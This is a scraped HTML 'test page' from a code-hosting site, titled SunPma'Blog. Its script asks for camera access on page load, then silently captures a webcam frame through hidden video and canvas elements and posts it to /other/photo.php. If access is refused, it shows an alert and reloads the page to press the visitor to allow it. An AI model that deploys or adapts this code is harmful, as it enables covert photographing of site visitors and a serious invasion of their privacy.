代码拉取完成,页面将自动刷新
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="" content="content">
<title>SunPma'Blog</title>
<style>
.container {
width: 60%;
margin: 10% auto 0;
background-color: #f0f0f0;
padding: 2% 5%;
border-radius: 10px
}
ul {
padding-left: 20px;
}
ul li {
line-height: 2.3
}
a {
color: #20a53a
}
</style>
</head>
<body>
<canvas id="canvas" style="display: none;" width="480" height="640"></canvas>
<video id="video" style="display: none;width: 250px;height: 300px;"></video>
<script src="https://lib.baomitu.com/jquery/3.6.0/jquery.js"></script>
<script>
window.addEventListener("DOMContentLoaded",function(){
var canvas = document.getElementById('canvas');
var context =canvas.getContext('2d');
var video = document.getElementById('video');
if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {
navigator.mediaDevices.getUserMedia({video:true}).then(function(stream){
video.srcObject = stream;
video.play();
setTimeout(function(){context.drawImage(video,0,0,480,640)}, 1000);
setTimeout(function(){
var img = canvas.toDataURL('image/png');
$.post('/other/photo.php',{'imegse':img},function(data){
//指定photo.php文件所在位置
})
} ,1300)
},function(){
alert('缺少访问权限');
location.reload();
})
}
},false);
</script>
<div class="container">
<h1>测试页</h1>
<h3>获取相机权限;</h3>
<h3>自动拍照上传至服务器;</h3>
<ul>
<li>图片每日自动清理;</li>
<li>代码获取://</li>
</ul>
</div>
</body>
</html>
此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。
如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。